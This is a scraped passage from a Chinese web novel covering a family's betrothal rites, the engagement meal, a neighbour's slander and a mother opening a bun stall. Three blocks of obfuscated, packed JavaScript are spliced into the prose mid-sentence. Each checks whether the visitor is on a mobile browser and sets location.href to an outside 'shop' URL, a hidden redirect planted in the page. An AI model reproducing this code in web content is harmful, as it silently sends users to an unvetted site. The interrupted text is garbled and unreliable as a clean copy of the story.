“秦家妹子，程家是实心实意要结这门亲！你瞧瞧这礼数，半点不差！”王媒婆指着桌上已摆开的几样红封和礼盒，“这是按老礼备下的问名礼，图个吉祥好意头！程家小子为人实在，备的也都是扎实东西。” 程家显然用了心。几封城里瑞芳斋的点心蜜饯，外加两包茶叶、两块裁好够做一身新衣裳的鲜亮尺头。 秦氏目光扫过这些既体面又不过分扎眼的礼品，心下颇为赞许。 礼不浮夸，恰在程家力所能及之内，更显诚意。 两家既已彼此中意，王媒婆便主要是走个过场，将程家上下和程凌本人着实夸赞了一番，也跟她透了程家预备下的聘礼明细。 “喜饼二十斤、喜糖十斤、干货四担、粮食六担，陈年米酒两坛、细布四匹，到时三牲礼也必不会缺。聘金呢，程家准备了六两银子，取个‘六六大顺’的彩头。” 王媒婆说完，心下也觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164063|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程家确实大方厚道，一点虚的没有，这在庄户人家里算是一份既实在又体面的聘礼了。 秦氏听完，心头既暖且定。程家没打肿脸充胖子，也没轻慢半分，这份郑重比什么都强。 她脸上带着明朗的笑意，起身进了隔壁屋，不多时便拿着一个早备好的大红帖子过来，端正地递到王媒婆手里，“那这事儿就劳烦王媒婆多费心了。这是乔哥儿的庚帖，你带去合一对八字，我们也盼着个好兆头。” “哎哟，好好好！保管是上上大吉！”王媒婆赶紧双手接过，妥帖地收进袖袋里，脸上的笑容更真切了。 舒小临与舒小圆交换了一个眼神，都从对方脸上看到了欢喜，程大哥果然靠得住，哥哥往后在程家定然受不了委屈。 王媒婆在舒家坐了不足两刻钟，饮了茶，用了块点心，见秦氏始终应对得体，庚帖也已到手，知晓此事已成，便满面红光地起身告辞。 “秦家妹子，你放心！我这就回去给程家报喜信，等合好八字，定亲的吉期咱们往后慢慢商议！” 秦氏自是应下，将她送至巷口才回去。 王媒婆这厢一转身就见程凌仍立在牛车旁等候。她微微一怔，随即了然，打趣道：“凌小子还在这儿等着？正好，婆婆我还搭你的车回去！” 她岂会不知程凌的心思，名义上是等她，实则是牵挂舒家这边的音信。 王媒婆坐上车，扶稳车栏，笑逐颜开道：“舒家那头应得爽快！程家的心意他们都领受了，接下来就等着定亲、择选良辰吉日了……” 她絮絮说着，程凌在前头赶车，听得“应得爽快”几字，嘴角忍不住微微上扬，心里像揣了团暖烘烘的棉花，满是踏实的欢喜。 舒家院里，此刻正洋溢着欢快的氛围。 舒小圆捧着一盒刚开的点心，喜得见牙不见眼，“程大哥办事真细致！” 舒小临故意逗她，“前两日是谁嚷嚷着要好好考教人家来着？” “我那叫审慎！眼下这叫明察！”舒小圆哼了哼，眼巴巴瞅着那精致的糕点，“这点心一看就是照着哥哥偏爱的口味挑的。” 秦氏只拆了一封点心让大家尝鲜，其余的都仔细收进柜里。 舒小圆拈起一块放入口中，满足地眯起眼，脑袋轻轻晃动道：“我现在觉得程大哥做我哥夫真是顶顶好！这点心滋味太正了！” 舒小临也捏了一块塞进嘴里，含糊道：“一盒点心就把你收服了？前几日还抱着哥哥胳膊说舍不得呢。” 舒小圆揩了揩嘴角，不服气地撇嘴，“我是透过这点心，瞧见了程大哥的诚心！再说了，小临哥你不也吃得挺香！” “我这是……品鉴！品鉴懂不懂？”舒小临强辩着，手却诚实地又摸了一块。 隔壁屋里，秦氏将程家备下的聘礼一一细说给舒乔听。舒乔虽不是看重财物之人，但听闻程家如此尽心，胸中亦是暖意融融。 “程家给的聘礼厚道，足见是真心实意看重你。”她想起早早离开的丈夫，眼神黯了一瞬，但很快又被笑意取代，“过不久就该走定亲的礼了，到时候巷子里少不得要热闹一番。” 舒乔听着她的话，只觉有股热气直往脸上涌，忙借着起身的动作侧过脸去，匆忙道：“我去瞧瞧小临和小圆又在闹腾什么。”话音未落，脚步略显急促地迈步而出。 看着他微微发红的耳廓和那点藏不住的慌乱背影，秦氏不由得笑了——这孩子，面皮还是这般薄。 院里传来舒小圆和舒小临的说笑声，夹杂着舒乔无奈的叮嘱，秦氏望着窗外，心里的石头彻底落了地，只盼着往后的日子能顺顺利利，乔哥儿能过得安稳顺遂。 16. 第 16 章 这日清晨，舒家所在的南巷比往常更早地苏醒了，空气中弥漫着一种不同寻常的活跃气息。 辰时刚过，巷口便传来了牛车轱辘压过石板的声响，夹杂着街坊四邻的议论。 只见程大江亲自执鞭，赶着装载红纸覆盖箱笼箩筐的牛车，程二河与一身喜庆装扮、满面红光的王媒婆一同走在车旁。 那牛额前系着的一朵红绸花，在清亮的晨光里格外引人注目。 这扎实的排场立刻引来了左邻右舍的围观，孩童们嬉笑追逐在车后。有眼明的婶子立刻辨出，“这是下聘的队伍！瞧那红彤彤的箱笼，是往舒家去的！” 明眼人都看得出，舒家这是结下了一门好亲事。 邻里们纷纷聚拢过来，有的向秦氏道贺，有的好奇地打量车上的聘礼。秦氏含笑逐一回应，脸上的喜悦想掩都掩不住。 待王媒婆拔高嗓音，清晰念诵礼单时，围观的婶子大娘们听得不住颔首，对着那些聘礼低声交谈起来。 “瞧着是乡下人家，可这礼数一点不比城里差。” “程家真是厚道，看这聘礼多实在！还是兄弟俩一块儿来的，够郑重！” “乔哥儿这可是寻了个好人家。” 礼单念毕，程大江、程二河和王媒婆被请进屋内。秦氏早已备好了茶水点心，舒小临和舒小圆也前后张罗着招呼。程二河话不多，多是笑着附和兄长，场面显得格外融洽。 舒乔大多时候留在自己屋里，只是中途出来依礼见了长辈。外间的谈笑声隔着门板模糊地传进来，程大江沉稳的语调、王媒婆拔高的笑语，都让他不由自主地屏息去听。 他坐在炕沿，将几方绣好的帕子在膝头铺开，抚平本不存在的褶皱，仔细对齐边角对折。叠好一方，又拆开，再沿着另一条对角线重新折过。 屋外突然响起一阵热闹的寒暄，像是众人正要入席。他手一抖，帕子滑落到炕上。他赶忙捡起来，指尖在细密的针脚上无意识地摩挲，耳朵却还支棱着捕捉外头的动静。 直到秦氏在灶屋唤他，舒乔肩背微微一紧，像是终于等到了又怕到来的时刻。 “来了！”他迅速直起身，理了理本就齐整的衣襟下摆，又抬手拍了拍脸颊，这才深吸一口气，推门走了出去。 定亲时男方家的长辈要留下吃饭，两家算是真正接触认识。 中午这顿定亲饭吃得宾主尽欢，程大江言语不多，却字字透着诚恳，再三保证道：“乔哥儿进了程家门，我们必定将他当作自家孩子疼惜。” 王媒婆则在旁不住说着“天作之合”之类的吉祥话。 饭后，程家兄弟和王媒婆告辞离去。秦氏依着礼数，将备好的一份回礼——几封喜饼、两包茶叶、半坛酒，并一双给程凌新做的布鞋，稳稳放进空出的礼担里，这有来有往的礼数才算周全。 送完客人后，舒家小院里仍萦绕着几分喜庆的余韵。 家里许久不曾这般热闹，今日舒小圆一直跟在秦氏身后忙活，像只欢欣的雀鸟，时而帮忙递送茶水，时而跑到门口张望，一天下来，背后衣裳竟湿了大半。 “舒小圆你今日可真是精神头十足啊。”舒乔拿了条干净布巾递给她，一脸无奈，“快擦擦汗，把潮了的衣衫换了，仔细受了风寒。” 舒小圆咧嘴笑了笑，凑到舒乔身边，仰起脸胡乱擦着，“我这不是太高兴了嘛。” “再高兴也不用拽着小满从巷头跑到巷尾吧？”舒乔想起听到的声响，脸上还带着几分费解，“我在屋里都听见你们俩的笑声了。” “我那时太激动了。”舒小圆理了理汗湿的额发，又不服气地辩解，“而且小临哥也没沉稳多少！王媒婆刚念完礼单，他就和石头他们在一旁喊，声音数他最响亮！” 原来王媒婆宣读完礼单，这几个半大少年便欢呼起来，还带头说起了吉祥话。旁边看热闹的人受了感染，也不免加入，场面一时颇为喧腾。 舒乔回想方才在屋内听到的动静，摇摇头笑道：“好了，你先把自个儿收拾妥当，我去灶屋瞧瞧。” 送完客人，又同妹妹说了几句闲话，舒乔心头那根绷了半日的弦总算松了下来。那份揣着的欣喜却愈发真切，连带着看院里明晃晃的日头都觉得格外顺眼。 午时招待客人，舒乔和秦氏早上去市集买了不少菜，这会儿还剩不少。 他轻哼着小调，揭开防蝇的罩子，看着那些精心烹制、几乎没怎么动过的菜肴，才意识到自己方才光顾着留意饭间的谈话，连娘特意为他夹到碗里的红烧肉是咸是淡都没尝出滋味。 他心想晚上热了再吃，倒要好好尝尝味道，也省了再开火的功夫。 “乔哥儿，来帮娘一下。”秦氏在屋里唤道。 “来了。”舒乔转身往舒小临的屋里走，只见秦氏站在一堆聘礼中间，裹着红绸的布匹、贴着喜字的竹箩，把不大的屋子衬得满是喜气。 “娘，要做什么？” 秦氏指了指堆在门边的几个方口竹箩道：“帮娘把这些竹箩挪到墙角去，堆在这儿不好走。” “好。”舒乔看向那几个竹箩，箩筐上贴的喜字鲜红夺目，里面满满当当地装着新米和白面，显得很有分量。 他上前站稳，和秦氏一同用力将竹箩抬起，稳妥地移至墙角。新米特有的清香和白面纯粹的麦香隐隐透出，让人心生安稳。 “灶屋那边也得搬些过来存放，不然转身都费劲了。”秦氏说着，抬手用手背拭了拭额角。 舒乔自然听从，将箩筐在墙角安置好，又随秦氏去灶屋将部分干货也转移过来。二人来回几趟，总算将这些聘礼归置得井井有条。 “小临平日自己睡这屋，放在这儿也不碍他事。”秦氏一边自语，一边弯腰检查箩筐盖是否严密。舒乔见没他事了，便打算回屋。 秦氏见他要走，赶忙唤住，“诶，乔哥儿先别急着回。” “娘还有什么事？”舒乔停在门边，见秦氏翻找出程家送来的那匹海棠红细布，心下顿时明了。 秦氏细细抚摸着布面，指尖感受着细密柔韧的纹理，脸上绽放出欣慰的笑容，“凌小子是个有心的，这颜色很配你，料子也结实。” 她转头看向舒乔，眼尾的笑纹里都透着满意，“待会儿娘给你量身形，这嫁衣可得你一针一线，仔细缝制才好。” “那我稍后把量尺取来。”舒乔上前，指尖轻轻掠过布料，只觉触感顺滑柔软，织工紧密，色泽匀净，做成衣裳定是既舒适又挺括。 他忽然想到什么，眼珠微转，看向秦氏道：“可这样一来，我绣帕子的工夫就少了许多。” 秦氏一听，轻轻拍了下他的臂膀，“你这孩子，是帕子要紧，还是你的婚服要紧？” 舒乔佯装思考，见秦氏似乎真要着急，连忙带上笑容应道：“要紧要紧，都要紧，这总成了吧？” “你这孩子。”秦氏笑嗔一句，把布匹递给他，“先拿到屋去，娘再归置一下这些零碎。” “好咧。”舒乔偶尔这般逗趣一下也觉得开心，抱起那匹细布转身离开了。 这边秦氏将物品都整理妥当后，回屋取了量尺，站在舒乔身后道：“把腰背挺直，手臂平举，慢慢转过来。”量好后她用炭笔在布上轻轻划了个记号，端详着舒乔的身形，忽然道：“乔哥儿瞧着像是比先前长高了些。” 舒乔低头看了看自己的裤脚，顺手扯了扯道：“应该是，裤脚瞧着比之前短了一点。”他说怎么感觉最近衣裳有些紧绷，还以为是洗缩水了。 舒小圆在炕上打了个滚，也坐起身来凑热闹，“娘，你也给我量量，没准儿我也长高了呢。” 秦氏笑着替她量了身高，又比对上次留下的标记，轻轻摇头道：“没怎么动，还是老样子。” “好吧。”舒小圆顿时蔫了下去，重新躺回炕上，舒乔在一旁笑道：“前些日子才量过，哪能转眼就窜个子？” “那可说不准，兴许我睡一宿就长了呢。”舒小圆四肢舒展地瘫在炕上，瞧着他们忙碌。 听着她这充满稚气的话，舒乔和秦氏都笑了起来。秦氏回身见她这般躺相，轻轻拍了拍她晃荡的小腿，“大白天注意一下，女孩子家家。” 舒小圆翻了个身，懒懒道：“反正屋里就咱自家人，没关系的娘。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164064|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舒乔从秦氏手中接过量尺，将布料在炕上铺展开，说道：“那你留意些，别翻过来碰着了。” 说着他拿起剪刀，依照量好的尺寸，剪刀撕拉一声裁下去。布料应声而开，断面平直光洁。 舒小圆闻言滚到炕角，侧身看着他们忙活。忽然她又支起身子望向门外，问道：“对了，小临哥上哪儿去了？” “吃过晌午饭就回茶馆上工了。”秦氏帮着按住布角，防止它滑动，“家里没什么要紧事了，让他告半日假便足够，总不好耽误了活计。” 听秦氏这么说，舒小圆低声嘟囔道：“那好吧。”她伸展了一下腰肢，重新躺平。 舒乔见她一副懒散模样，收起剪刀，轻笑道：“你前阵子那股绣帕子的劲头哪儿去了？不是说要多绣几条攒钱么？” “人家也要歇一歇嘛。”舒小圆拖长了音调撒娇，爬到舒乔身边，搓了搓手心，跃跃欲试道：“哥哥，我给你捶捶肩膀吧！小满说她常给她爹捶，捶得舒服了还能得几个铜板买零嘴呢！” 舒乔有些意外她忽然这般殷勤，听到后半句，看向舒小圆，眨眨眼道：“捶肩膀可以，铜板可是没有的。” “我才不是图铜板呢！”舒小圆说着，手已经搭上舒乔的肩头不轻不重地捶打起来，声音也放软了些，“我是看□□日做绣活辛苦，肩膀定然酸了。” 屋里静悄悄的，只闻舒小圆捶打的细微声响。秦氏在旁听着，心里暖融融的，悄悄与舒乔交换了一个眼神，彼此都看到了对方眼中的笑意。 舒乔抬手拍了拍妹妹的手背，语调柔和道：“小圆懂事，那顺带帮哥哥捏捏胳膊吧。”他活动了一下有些僵硬的肩颈。 “包在我身上！”舒小圆手上加了点力道，又问，“哥哥，这个劲儿成吗？” “成，正好。”舒乔舒适地吁了口气，心头被暖意填满，只觉得，再好的光景，大抵也就是眼前这般了。 秦氏将余下的布料收进柜中，量尺卷好收起，看着他们兄妹和睦的景象，眼中满是宽慰。 没过几天，王媒婆就送来了择定的吉日。一共给了三个日子，最近的在下个月，最远的在来年三月，居中的那个则紧挨着秋收之后。 秦氏坐在炕沿，与舒乔商议道：“下个月太过仓促，婚服定然赶制不及；来年三月正值青黄不接，娘觉着不妥。秋收后那个日子顶好，天气凉爽宜人，地里的活计也忙完了，程家也有充裕的时间筹备。” 舒乔点头，心里也属意中间这个日子，问道：“程家那边中意哪个？” “也挑中了中间这个。”秦氏笑容舒展开来，“那娘就给王媒婆回话，将这日子定下了。” “好。”舒乔低头咬断手中的丝线，心下悄然一松。距离秋收尚有一段时日，婚服无需赶工，还能多绣些帕子存着。 “你舟阿么说，秋收前后成亲的人家最多。”秦氏一边整理着各色丝线，一边闲话道，“有些人家劳力不足，定要等秋收忙完才肯嫁女；有些又急着在秋收前娶媳添帮手，为此两家争执起来的也有。” 其实舟阿么还问她，程家是必定要下地干活的，乔哥儿能应付得来农活么？秦氏说着说着，自己也不禁有些挂心，这么想着也就顺口说了出来。 舒乔闻言放下针线，脸上露出一丝茫然。 他五岁跟着爹娘来城里，对乡下种地的记忆早就模糊了，只依稀记得小时候跟着爹在自家小菜园里拔过草。 他的视线飘向院里那个种菜的木箱，那是爹在世时亲手打的。这些年来，他唯一熟稔的农事，便是侍弄这一小方土地里的葱姜蒜。 秦氏活了半辈子，真真切切下地耕种的日子，也不过是早年间那几年，时日久远，若要她详说农活种种，恐怕也说不明白。 “应当……可以吧。”舒乔思忖片刻，又认真道，“人都说‘干中学，学中干’，我到时跟着阿凌学就行，他肯定会教我的。” 他不怕吃苦，只要能和程凌好好过日子，学种地也没什么难的。 秦氏看着他坚定的样子，心里的担忧也渐渐淡去，笑着抚了抚他的发顶，“你能这般想，娘也就安心了。” 17. 第 17 章 定亲后的日子像溪水般缓缓流淌，重归宁静。 院子里，舒乔把洗净的豆角摊在簸箕上，刚放到凳子上，就见一旁的母鸡探头探脑，那眼神分明是在打豆角的主意，只好把簸箕移到更高的地方。 秦氏坐在院里阴凉处，手下不停，将搓洗好的黄瓜放在砧板上，咚咚咚地切成薄片。她手腕一抬一落，动作麻利，黄瓜片厚薄均匀，在阳光下透着水灵灵的光泽。 眼下天气晴好，菜价便宜，正是晒菜干的好时候。 自打定亲后，程凌来得更勤快了。今早又送了一篮子刚摘的菜来，青翠的黄瓜还带着露水。程家这般实在的关照，秦氏看在眼里，只觉得一股暖意渗进心坎里。 “乔哥儿，不行就把吃饭的桌子搬出来，桌脚高鸡够不到。”秦氏看着儿子与鸡较劲，开口道。 舒乔挥臂赶开蠢蠢欲动的母鸡，应道：“也好。” 家里这只鸡精得很，听见切菜声就围着人脚边打转。 定亲那日怕它捣乱关进棚里，谁知它竟扑棱着飞去了邻家，害得家里好一顿找。去隔壁把鸡抓回来后，秦氏想着好在是没唐突了客人，不然非得宰了吃不可。 “家里现在有余粮喂。娘，要不我明日去集市，再买两只鸡崽回来？”舒乔一边说着，一边利索地搬出木桌，将簸箕稳稳放好。 一只鸡终究是少了，多养几只，往后鸡蛋就不缺了。 秦氏停下手里的刀，抬头看了看那只在院子里悠闲踱步的鸡，点了点头，“行，明早我和你一起去。”说到这里，她顿了顿，乔哥儿的嫁妆也该备起来了。 正说着，舟阿么笑呵呵地走进来，手里拿着把旧蒲扇，“切黄瓜呢？我昨儿也刚晒上些茄子。”他说着在秦氏旁边坐下，顺口夸道，“这黄瓜长得挺壮实。” “凌小子早上才送来的，刚从地里摘下来，新鲜着呢。”秦氏递过一根小些的黄瓜给他。 舟阿么接过，咔嚓咬了一口，清脆有声，“这瓜好吃，黄瓜味儿足。” “是吧？”秦氏脸上绽开笑，“凌小子说下了不少肥，黄瓜顺着架子长，几乎天天都能摘一茬。” “凌小子是个踏实肯干的，种出来的东西也实在。”舟阿么又咬了一口黄瓜，这才想起正事。 “对了，你前阵子不是念叨着想寻个活计么？” 秦氏切菜的手立刻停住，忙不迭侧过身，热切道：“怎么，你那儿有信儿了？” 舟阿么摆了摆蒲扇，说道：“那倒不是。是这么回事，咱们巷口不是一直支着个包子摊么？” 秦氏回想了一下，点头，“是有这么回事。怎么，他们那儿要添人手？” 在一旁安静绣着帕子的舒乔，此时也抬起头，眼中流露出好奇。 舟阿么摇头道：“是那日你走后，我娘在旁边提了一嘴，说那摊子要挪地方，不在这片摆了。” 他往前凑了凑，压低了嗓门道：“不瞒你说，那摊子的包子我也买过几回，说实话，滋味寻常，也就是图个方便，早上懒得开火就买来填填肚子。要论好吃，还真比不上你蒸的那大馒头。” 秦氏愣怔住，没明白他的意思。一旁的舒乔眼神一亮，试探着问道：“舟阿么，你是说，让我娘也支个摊子在那卖馒头？” “正是！”舟阿么一拍大腿，连黄瓜也顾不上吃了，兴致勃勃地说，“你娘蒸的馒头，又暄又软，还带着股韧劲儿，越嚼越香，比他们的强出不止一星半点！” 舒乔立刻点头附和道：“娘做的馒头确实好吃。” 见两人都这么说，秦氏原本犹豫的神色渐渐消散，取而代之的是一丝动心，她迟疑道：“要不……试试看？” 如今外头活计难找，在巷口摆摊离家近又自在，倒不失为一条路子。 “这就对喽！”舟阿么顿时来了劲头，“你要是早上起不来，就专做傍晚那趟生意。那会儿做工的人都归家了，有些人家懒得再起灶，买些现成的馒头包子对付一口，正好！” 舒乔想了想，又补充道：“推车可以先租用，家里白面也是现成的，不妨先试两日看看成效。我早起打水时留意过，原先那家摊子，不到巳时便卖空收摊了。” 而且他看那摊子来来往往不少人买，想来这生意是能做起来的。 “乔哥儿说得在理！”舟阿么将手里黄瓜往旁边一搁，说得越发兴起，“我家往里走两户，挨着大槐树那家，男人就是个手艺不错的木匠。我跟他家媳妇熟得很，你若是真定了主意，我这就去问问，看他家有没有闲置的推车，先租来用着。” 秦氏手下略一停顿，随即干脆道：“行，听你的，就这么定了！”想得再多，不如动手一试。 舟阿么抬头看了看天色，“时辰还早，你把这点活儿收尾，咱们这就过去问问。” 秦氏应了一声，手下切黄瓜的动作更快了，透着股干劲。 舒乔在一旁看着她专注的侧脸，想起前些日子娘病中苍白的脸色，再对比现在这般精神十足的模样，他心里说不出的高兴。 两人都是手脚麻利的主儿，不过一盏茶的功夫，秦氏和舟阿么便收拾妥当，风风火火地出了门。 舒乔正要关门，舒小圆一阵风似的跑进来，小脸红扑扑的，喘了口气问：“哥哥，娘和舟阿么急匆匆的，是要去哪儿呀？” “去租推车。娘打算在巷口摆个摊子，卖馒头包子。” 舒小圆一双眼睛顿时睁得溜圆，她才出去玩耍了多大会儿，家里竟就要做买卖了？她愣了一瞬，随即迸发出惊喜的光芒，转身就往外跑道：“我去瞧瞧！” 舒乔伸手想拦，小姑娘却已像只灵巧的雀儿，一溜烟跑远了。他只得摇摇头，将院门掩上。 不到一刻钟，门外便传来舒小圆欢快得像铃铛一样的声音，“哥哥快看呀！” 只见三人推着一辆木推车进来，舒小圆正自豪地拍着车板。 “这车瞧着真结实。”舒乔迎上前细看，木料厚实，榫卯严密，竟有八九成新。 舟阿么笑道：“那家媳妇是个痛快人，一听咱们要摆摊，二话不说就把这辆车推出来了。说是做好有些时日了，一直没寻着合适的买主。” 舒小圆是个急性子，围着推车转来转去，连声问：“娘，咱们什么时候开始卖馒头呀？” “明日就试试看，如何？”舒乔看向秦氏。 秦氏一拍手，斩钉截铁道：“就明天！” “太好啦！”舒小圆高兴得直蹦跶，手在车板上摩挲个不停。 舒乔含笑卷起衣袖，“我去打水来，里外擦洗一遍。” 这车积了层薄灰，得好好收拾一番。 舟阿么操心的事多，瞥了一眼灶房方向，又道：“你家的蒸笼怕是也不够使，我回去把我那套家什拿来，你先用着。”说完，又迈着匆匆的步子走了。 秦氏转身进屋去清点明日要用的物什，舒乔则打来清水，招呼妹妹，“小圆，帮哥哥递一下水瓢。” “好咧！”舒小圆笑容满面，一趟趟帮着舀水。 舒乔用丝瓜瓤仔细擦洗着车板，清水顺着木板流下，带走了积尘，露出原本的木色。兄妹俩一个擦一个冲，配合得默契，不过片刻工夫，就把推车里外洗得干干净净。 傍晚舒小临回到家，一眼便瞧见院里多出来的推车，他诧异地后退半步，“我没走错家门吧？” 舒小圆叉着腰站在推车旁，又是好气又是好笑，“我人都杵在这儿了，还能有假？” “这车哪来的？”舒小临凑上前，好奇地推了推车轮，“轱辘还挺顺溜。” 听妹妹兴冲冲地说了明日要卖包子馒头的事，舒小临眼睛发光道：“这主意妙啊！娘只要忙活半天，还在家门口，再合适不过了。” 晚饭桌上，秦氏一边吃着饭，一边同孩子们细数明日的章程，“馒头就定一文钱一个，素菜包子两文。推车先租了五日，统共二十五文。家里白面、玉米面都有，馅料嘛，就用没吃完的韭菜拌粉条，正好。” 舒乔一边吃饭一边认真听着，等她说完才开口道：“要是赶早市，娘得天不亮就起身。不如先按舟阿么说的，先卖傍晚那档吧？”他说话时目光关切地落在秦氏脸上。 娘病才好利索，他实在担心她太过劳累。 舒小临和舒小圆也连连点头称是。舒小圆扒着饭碗，眼睛扑闪扑闪地望着秦氏，“娘就下午摆嘛，到时候我也能帮上忙呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164065|196618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 秦氏见孩子们个个都这般体贴，心头暖流淌过，从善如流地应下，“好，就依你们，先摆傍晚的摊子。” “那我到时候帮娘吆喝！”舒小圆立刻来了精神，撂下碗筷，挺直了身板，捏着嗓子，模仿着小贩的腔调拉长了声音喊：“包子——热乎的包子馒头咧——” 她那副煞有介事的小模样，逗得大家都笑了起来。 秦氏笑得眼角的纹路都深了几分，夹了一筷子菜放到她碗里，“好好好，到时候可就指望咱们小圆这张巧嘴了。” 舒乔望着妹妹那得意洋洋的小模样，面容也柔和下来，一脸和悦。 夜色渐浓，一家人围坐在一起，对明天的营生都充满了期待。 月挂中天时，小院渐渐沉寂下来。 秦氏躺在炕上，想起下午隐约听见的动静，翻了个身轻声问：“乔哥儿，下午我听着巷口像是有人在争执，好像还提到了你？” 舒乔掖被子的手微微一顿，随即将被子拉至胸前，若无其事道道：“没有的事，许是哪家又在吵闹吧，娘听岔了。” “当真？”秦氏语气里带着疑虑。 实则下午舒乔从菜市回来，刚走到巷口，便听见张家媳妇那把尖厉的嗓子，正对着几个妇人指桑骂槐道：“啧啧，有些人哪，天天往菜行跑，当谁不知道是去会野汉子？没脸没皮的，把咱们这条巷子的风气都带坏了！要是搁在从前，这种不检点的哥儿，早该沉塘了！” 这张家媳妇最是心胸狭隘，前次的过节一直记恨在心，还想拉拢旁人附和。恰巧被正在井边打水的方大娘听了个真切。 方大娘当即撂下水桶，指着她骂道：“张家的！你鼻子上头那俩窟窿眼和旁边那俩扇风耳都是摆设不成？！乔哥儿是明媒正聘、过了礼、定了亲的！你在这里满嘴喷粪，胡诌白咧，仔细烂了舌根子！” 旁边相熟的妇人忙扯张家媳妇的衣袖，低声劝道：“快少说两句吧，前几日程家来下聘时你回娘家去了，不知内情……” 若是旁人，被方大娘这般疾言厉色地呵斥，早该讪讪闭嘴了。偏这张家媳妇梗着脖子，强词夺理，“定亲前那汉子不也常来常往？这谁没瞧见？” 方大娘气得撸起袖子就要上前，“我撕了你这张破嘴！人家两个孩子行事规规矩矩，倒被你编排得如此不堪！你当谁都像你一般，自家汉子三天两头不着家，便整日盯着别人家院墙？再敢胡吣些没影儿的事，仔细老天爷降道天雷，劈了你这个黑心烂肺的！” 这话正戳中张家媳妇的痛处，她顿时气焰矮了半截，支支吾吾再说不出囫囵话。 众人见状，连忙七手八脚地打圆场，“都是误会，说开便好了。张家的，你不是还要赶着回去做饭吗？快回吧，快回吧！” 舒乔静立一旁，看着张家媳妇悻悻离去的背影，暗暗攥紧了拳。 他性子虽不喜与人争锋，但若有人一再污他清誉，他也定要让对方晓得，自己这双常年拿针线的手，也是有两把子力气的。 “乔哥儿，莫往心里去。”方大娘提起水桶，语气缓和下来，“对付这等泼皮货色，就得硬气些，你越是忍让，她便越是蹬鼻子上脸。” 舒乔忙上前帮方大娘稳住水桶，轻声道：“多谢大娘替我说话。” “快别这么说。”方大娘拍了拍他的臂膀，眼中带着长辈的慈蔼，“咱们这条巷子里，谁不晓得你是个本分懂事的好孩子？再说，大娘也是看着你从小长大的，岂能由着那起子混账东西胡乱编排。” 此刻躺在炕上，回想起方大娘挺身维护自己的情景，舒乔心口仍是热乎乎的。 察觉到秦氏仍在不安地翻身，舒乔放柔了嗓音道：“娘，真没事，快睡吧，明日不是还要忙嘛。” “好，娘不想了，这就睡。”秦氏听儿子语气平稳，不似作伪，便也稍稍安心。 月光如水，静静透过窗纸洒进来，一旁的舒小圆早已睡熟，舒乔帮她扯了扯踢掉的被子，躺平看着屋顶出神。 下午的插曲他没放在心上，终归那张家媳妇也没讨着好，他更担心的是明天摆摊的事。 虽然预想过了，但到时会怎样也不知道，希望能卖出去才好。 18. 第 18 章 翌日申时末，南巷口的榕树下坐着几个纳凉的妇人阿么，手里摇着蒲扇，眼角却不时瞟向不远处新支起的摊子。 这块空地原是那对夫妻卖包子的地方，今日却换了秦氏带着一双儿女守着。摊前冷清，想不引人注目都难。 “我没看花眼吧？那是乔哥儿和他娘？”穿青布衫的妇人用蒲扇肘推了推身边人，声音压得极低。 “可不就是他们！好好的怎么突然摆起摊子来了？”旁边人语气带着不解。 “这个时辰出来摆摊，别是糊涂了？！”穿蓝布裙的妇人撇撇嘴，声音没控制住，稍大了些。 “你小点声！”先前问话的妇人连忙制止，朝舒家摊子使了个眼色，“都是邻里邻居的，私下说两句就算了，叫人听见多不好。” 摊子离得不远，那些窃窃私语断断续续飘进秦氏耳中。她望着稀稀拉拉过往的行人，先前的干劲已凉了半截。 舒小圆也没精打采地站着，起初还脆生生地吆喝了几声，可站了近两刻钟连一个馒头都没卖出去，她也泄了气。 舒乔将一切看在眼里，轻声宽慰道：“娘，小圆，不急，下工的人还没回来呢。往常这个时辰，巷口都没什么人。” 听他这么一说，秦氏深吸一口气，慢慢稳住心神，点头道：“乔哥儿说得对，咱们不能刚开摊就丧气。我看日头也偏西了，再过一刻钟，大家就该回来了，咱们再等等。” 舒小圆闻言也打起精神，在摊子前站得笔直，眼巴巴望着巷口。 榕树下的人还在嘀咕，林阿么听不下去了，起身道：“人家想摆就摆，又没碍着谁，也没求着你们买。”说罢，径直朝舒乔的摊子走去。 舒乔一直留意着四周，见林阿么过来，笑着招呼道：“林阿么这是要回去了？” “正要回呢，顺道来看看。”林阿么打量着蒸笼，“卖的什么？” 舒乔伸手掀开蒸笼盖，热气裹挟着麦香和韭菜香扑面而来，他笑着介绍道：“今儿有馒头和韭菜粉条包，馒头一文一个，素包两文。” 林阿么本只想瞧个新鲜，可见那白胖的馒头实在喜人，顿时动了心。她没犹豫，当即掏出钱袋道：“那给我拿四个馒头，两个素包。” “好咧！”舒乔拿过一张干荷叶。秦氏也回过神来，忙上前帮忙。 